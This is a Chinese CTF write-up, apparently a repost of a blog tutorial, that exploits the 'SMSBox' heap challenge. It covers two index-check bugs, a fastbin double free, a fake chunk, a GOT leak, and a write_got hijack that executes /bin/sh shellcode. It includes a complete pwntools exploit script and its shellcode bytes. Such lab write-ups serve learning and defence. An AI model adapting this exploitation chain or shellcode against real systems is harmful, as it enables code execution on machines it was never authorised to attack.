web选手入门pwn(10)

渗透技巧 1年前 (2022) admin
549 0 0

1、SMSBox

https://github.com/kezibei/pwn_study/tree/main/SMSBox

这题有那么一点点魔幻。本题附带libc为2.23,而且是debian的,我们无需真的去找debian的glibc,直接用glibc-all-in-one中的任意2.23即可。

web选手入门pwn(10)

熟悉的增删查,但没有改,add之后可以直接输入字符串。来看代码。

web选手入门pwn(10)

count和list都在bss段上。先看第一个判断 if ( count > 63 ),count默认为0,一直加到64时才会大于63,因此最多能生成0-64,一共65个chunk。
开辟chunk,read输入字符串。

*(&list + count) = buf;

最后将buf指针存储在list中。
在gdb中我们可以更直观的看到。
gdb SMSbox
r
1
AAAA
1
AAAA
Ctrl+C
x/20gx 0x602080
x/20gx 0x603000

web选手入门pwn(10)

web选手入门pwn(10)

再看delete

web选手入门pwn(10)

transfer()跟进去之后发现就是读取输入的数字。
先判断其不为-1,再判断其小于等于count,然后从list中取出,并free掉。
下面的while则是从list+v1*8开始一直到list+62*8都依次向前移动。
也就是说count为5,一共有6个chunk在list上排列。
chunk0,chunk1,chunk2,chunk3,chunk4,chunk5
delete(2)的话,count变成4,list上布局为。
chunk0,chunk1,chunk3,chunk4,chunk5。
再次delete(2)呢?count变成3,list布局为。
chunk0,chunk1,chunk4,chunk5。
也就是说如果我们想删除所有chunk,只需要不断的delete(0)即可,不需要依次delete(5)到delete(0)。

gdb上调试感受一下,先增加6个chunk。

web选手入门pwn(10)
delete(2)

web选手入门pwn(10)

delete(2)

web选手入门pwn(10)

最后看一下show()的代码,无需分析。

web选手入门pwn(10)

之前的堆题是没有清空buf指针,导致可以edit劫持fd,这次连edit功能都没有该怎么办呢?
这里需要借助delete的两个漏洞,第一个是前后校验问题,在分析add()的时候,我们知道count最大为64,那么result <= count和v1 <= 62就存在校验不统一。
如果我们弄出0-64个chunk,delete(63)的话,能通过第一个校验,第二个通不过,也就会导致会free(list+63*8),但list不会向前推。

#!/usr/bin/env pythonfrom pwn import *
context.log_level = 'debug'sh = gdb.debug("./SMSBox","b show")def add(arg): sh.recv() sh.sendline("1") sh.recv() sh.sendline(arg)
def delete(arg): sh.recv() sh.sendline("2") sh.recv() sh.sendline(str(arg))
def show(arg): sh.recv() sh.sendline("3") sh.recv() sh.sendline(str(arg))
for i in range(0,65): add("AAAA")delete(63)show(20)

web选手入门pwn(10)

web选手入门pwn(10)

web选手入门pwn(10)

可以看到,0x15f4bd0已经被free进入fastbin,但list依旧记录着它(0x15f4be0,list实际记录的是字符串的位置,而chunk有size,所以实际位置会高16位)。
然后我们delete(0),此时0x15f4be0就会往前推,它原本是chunk63的位置,现在到了chunk62的位置。
delete(0)

web选手入门pwn(10)

注意,它已经被free(),所以此时show(62)就会出现00字节,这里的00就是0x15f4bd0的fd,可以回顾一下之前的图。
show(62)

web选手入门pwn(10)

这里也解释了为什么最开始我们不用delete(64),因为delete(64);delete(0)之后,出问题的chunk64在list+63*8的位置上,而此时经过了两次delete,count计数为62,无法show(63)。
既然可以show(62),然后就要进行堆题常见的一个操作,double free,也就是delete(62)。
delete(62)

web选手入门pwn(10)

0x15f4bd0被free了两次,此时fastbin就出现了一个神奇的布局
fdA——fdB——fdA
在上一个堆题中,我们是通过edit劫持fd,达到任意内存读写。而这题中如果我们再add(AAAAAAAA),那么fdA就会变成AAAAAAAA,第一个fdA被消耗,第二个fdA也会跟着变化。那么内存布局就变成了这样。
add(“AAAAAAAA”)

web选手入门pwn(10)

那么很明显,通过double free,实现fdA——fdB——fdA的循环布局,我们也能够实现fd劫持。
但实际利用远远没有这么简单,再次回顾之前的堆题,我们delete了一次之后,必须add两次才能在劫持的fd上开辟chunk。而这题我们delete了3次,所以必须add4次,然而count已经不够了。
add(“AAAAAAAA”)
add(“AAAAAAAA”)
add(“AAAAAAAA”)

web选手入门pwn(10)

回顾之前的操作,有节省count的地方吗?比如一开始就只增加0-63个chunk。

add(0-63)   //count=63delete(63)  //count=62delete(0)    //count=61delete(62)  //count不够


显然不行,那么就需要用到delete的第二个漏洞,delete(-2)来减少count,我们再来回顾delete代码。

web选手入门pwn(10)

回顾delete代码,这个result != -1其实提示的还算明显,如果result为其他负数,free(list+result)我们需要控制在一个为0x0的地方,这样free才不会报错也不会真的free一个chunk。这样count就会减小,list也会整体向前移动。
这两个漏洞非常的有趣,第一个是成功执行free(),count-1,但list不前推,第二个是free(0x0),count-1,list前推。

web选手入门pwn(10)

而这样的空间仔细一看还有不少,甚至有更改count的机会。那么如何输入负数呢,在auth这题我们接触过。
0xffffffff=-1
0xfffffffe=-2
0xfffffffd=-3
0xfffffffc=-4
0xfffffffb=-5

-4就到count地址了,就会free(0x3d)导致报错,所以这里选-3最合适。

delete(63)delete(0)delete(62)add("AAAA")add("AAAA")add("AAAA")show(20)delete(0xfffffffd)show(20)add("AAAA")show(20)

可以和我一样拿show(20)当断点。delete(-3)之前。

web选手入门pwn(10)

delete(-3)之后,发生前推现象。

web选手入门pwn(10)

然后再add(“AAAA”)直接报错。

web选手入门pwn(10)

那么我们可以将第一个劫持fd的add(“AAAA”)修改成一个正确地址,比如got表。
但heapinfo会提示size错误,最后也会报错。

web选手入门pwn(10)

web选手入门pwn(10)

这是因为fastbin的size检测的原因,具体自行搜索。
我们需要找到一个满足fastbin的size的地址,翻来覆去好像也就count的位置比较合适,一是它的大小在0x40左右,比0x31要小,二是它可控。
但不能直接add(p64(0x602080)),因为chunk  size并不是在最开始的8位,而是后8位,如下图可得add(p64(0x602080-8))。

web选手入门pwn(10)

更改add(p64(0x602080-8))之后size还是不满足,最后add也会报错。

web选手入门pwn(10)

那么我们再delete(0xfffffffd)一次改变count也就是chunk size大小,这次可以成功在count地址建立一个fake chunk。

delete(63)delete(0)delete(62)add(p64(0x602080-8))add("AAAA")add("AAAA")delete(0xfffffffd)delete(0xfffffffd)add("AAAA")show(20)

web选手入门pwn(10)

可以看到AAAA被成功写入,位置在list-3*8。能不能通过add(atoi_got);show(-3)来获得真实地址呢?

web选手入门pwn(10)

动态调试的结果是不行,因为write的第三个参数是0。回顾代码和chunk布局,正常这儿应该是0x5,代表存储的字符串长度,0x602048+6*8的位置则是0x0。

web选手入门pwn(10)

那么我们只需要换一个len位置不为0的got即可泄露真实地址,比如free_got

web选手入门pwn(10)

delete(63)delete(0)delete(62)add(p64(0x602080-8))add("AAAA")add("AAAA")delete(0xfffffffd)delete(0xfffffffd)elf =ELF("./SMSBox")got =elf.got['free']add(p64(got))show(0xfffffffd)

web选手入门pwn(10)

甚至由于len过大,连下面的count+chunk地址也一并泄露。

web选手入门pwn(10)

那么接下来的问题就是如何劫持got表。

我们改写内存的方法似乎只有一种,那就是通过double free劫持fd,然后新建chunk写入字符串。但由于fastbin的size检测原因只能写count附近的内存。有没有其他办法写got地址呢?
答案在add()中,add是会将chunk地址记录在list中的。

web选手入门pwn(10)

list记录buf指针时,是在list+count*8的位置记录,got地址刚好在list上方,离这段代码最近的的函数是write,那么想要劫持write就可以计算出count的数字。

web选手入门pwn(10)

web选手入门pwn(10)

也就是说,如果我们能将count改写成0xffffffef,执行add()即可将write_got改写成buf也就是一个chunk的地址。那么接下来执行write会跳转到chunk上执行,那么chunk段能执行吗?

web选手入门pwn(10)

答案是肯定的,这样看来泄露的libc真实地址用不上了,直接在chunk写入shellcode就行。
如何将count改写成0xffffffef呢?add(p64(0xffffffef));delete(0xfffffffb),这样就会将0xffffffef向上覆盖,覆盖到count位置,同时破坏了count和fake chunk。

delete(63)delete(0)delete(62)add(p64(0x602080-8))add("AAAA")add("AAAA")delete(0xfffffffd)delete(0xfffffffd)add(p64(0xffffffef))show(20)delete(0xfffffffb)show(20)add("x90"*16)

先add(p64(0xffffffef))

web选手入门pwn(10)

delete(0xfffffffb)

web选手入门pwn(10)

count被破坏,最后再add一个带shellcode的,这里先用NOP代替,执行到最后一个show断点,先b add再c。然后慢慢单步n。
单步过程中盯着rax,这里可以看到count为0xffffffef。

web选手入门pwn(10)

经过malloc建立chunk之后,来到第一个write,此时write_got未被劫持,正常执行。

web选手入门pwn(10)

read处,此时将输入的字符串(x90)写入buf,也就是我们最后放shellcodechunk

web选手入门pwn(10)

执行read完后,chunk填充x90

web选手入门pwn(10)

mov qword ptr [rax*8 + 0x6020a0], rdx

即如下代码,这行汇编前,write_got正常。

*(&list + count) = buf;

web选手入门pwn(10)

这行汇编后,write_got被精准劫持。

web选手入门pwn(10)

然后一路n到下一个write。

web选手入门pwn(10)

按s步入,成功在heap段上执行代码。

web选手入门pwn(10)

那么最终exp就出来了,注意这里因为字符数量限制shellcode要用一个最短的。

#!/usr/bin/env pythonfrom pwn import *
context.log_level = 'debug'#sh = gdb.debug("./SMSBox","b show")sh = process("./SMSBox")elf = ELF("./SMSBox")atoi_got = elf.got['atoi']shellcode = "x50x48x31xd2x48x31xf6x48xbbx2fx62x69x6ex2fx2fx73x68x53x54x5fxb0x3bx0fx05"

def add(arg): sh.recv() sh.sendline("1") sh.recv() sh.sendline(arg)
def delete(arg): sh.recv() sh.sendline("2") sh.recv() sh.sendline(str(arg))
def show(arg): sh.recv() sh.sendline("3") sh.recv() sh.sendline(str(arg))
for i in range(0,65): add("AAAA")
#double freedelete(63)delete(0)delete(62)
#fake fdadd(p64(0x602080-8))add("AAAA")add("AAAA")
#fake chunkdelete(0xfffffffd)delete(0xfffffffd)add(p64(0xffffffef))
#libc#add(p64(got))#show(0xfffffffd)
#write_gotdelete(0xfffffffb)add(shellcode)sh.interactive()

web选手入门pwn(10)



原文始发于微信公众号(珂技知识分享):web选手入门pwn(10)

版权声明:admin 发表于 2022年11月2日 上午9:27。
转载请注明:web选手入门pwn(10) | CTF导航

相关文章

暂无评论

您必须登录才能参与评论!
立即登录
暂无评论...